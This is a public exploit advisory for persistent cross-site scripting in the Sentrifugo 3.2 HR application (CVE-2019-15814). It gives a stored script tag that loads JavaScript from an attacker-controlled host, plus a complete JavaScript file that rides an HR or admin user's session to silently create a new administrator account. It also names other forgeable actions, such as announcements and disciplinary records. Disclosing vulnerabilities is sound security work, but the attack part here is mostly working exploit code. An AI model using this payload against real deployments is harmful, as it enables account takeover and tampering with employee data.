Sentrifugo 3.2 - Persistent Cross-Site Scripting

# Exploit Title: Sentrifugo 3.2 - Persistent Cross-Site Scripting
# Google Dork: N/A
# Date: 8/29/2019
# Exploit Author: creosote
# Vendor Homepage: http://www.sentrifugo.com/
# Version: 3.2
# Tested on: Ubuntu 18.04
# CVE : CVE-2019-15814


Multiple Stored XSS vulnerabilities were found in Sentrifugo 3.2. In most test cases session riding was also possible by utilizing the XSS vulnerability. This potentially allows for full account takeover.

/sentrifugo/index.php/employee/edit/id/5  <--Attacker employee ID here. POC example pertains to this one.
/sentrifugo/index.php/feedforwardquestions/add
/sentrifugo/index.php/announcements/add

# Proof of Concept

A low privileged user can insert a stored XSS referencing a crafted js file that would ride a session of an admin user to create an additional admin user. Logged in as the low priv user, insert the following in "Certificate Description" (Self Service >> My Details >> Training and Certificate Details)

<script src="http://Attacker-IP/add-admin-user.js"></script>

Add the following 'add-admin-user.js' file hosted on your attacking machine. This request will need to be customized per instance of Sentrifugo.

A few crafting notes:

- 'employeeId' - this can be found in the users profile.
- 'employeeNumId' - this can be an arbitrary number as long as it does not exist.
- 'emprole' - in this test case '2_1' was the Administrator role
- 'emp_status_id' - based off  "Contractor", "Full-Time", etc. Contractor is '6' in this case.
- 'emailaddress' - by default the initial password is sent via email, so this will need to be valid in order to login.

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function execute()
{
  var nuri ="http://10.42.1.42/sentrifugo/index.php/employee/add";
  xhttp = new XMLHttpRequest();
  xhttp.open("POST", nuri, true);
  xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  xhttp.withCredentials = "true";
  var body = "";
  body += "\r\n\r\n";
  body += 
	"id=&final_emp_id=EMPP99&tmp_emp_name=Select+Candidate&employeeId=EMPP&employeeNumId=99" +
	"&firstname=Bob&lastname=Blah&modeofentry=Direct&emprole=2_1&emailaddress=bob%40localhost.com" +
	"&businessunit_id=0&reporting_manager=2&emp_status_id=6&screenflag=add&date_of_joining=07%2F04%2F2019&submit=Save";
  xhttp.send(body);
  return true;
}

execute();

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When a user with permissions to add users (HR role by default) views your XSS "Certification Description" the add user request should be sent.

Other session riding request that can possibly be crafted:
- Company Announcement - gets blasted out to all users. Also has an additional XSS vuln in the description.
- Add Employee Leave - this one is tricky to craft due to needed parameter knowledge.
- Background check - update or add employee background check status.
- Disciplinary Actions - manipulate existent or non-existent disciplinary records.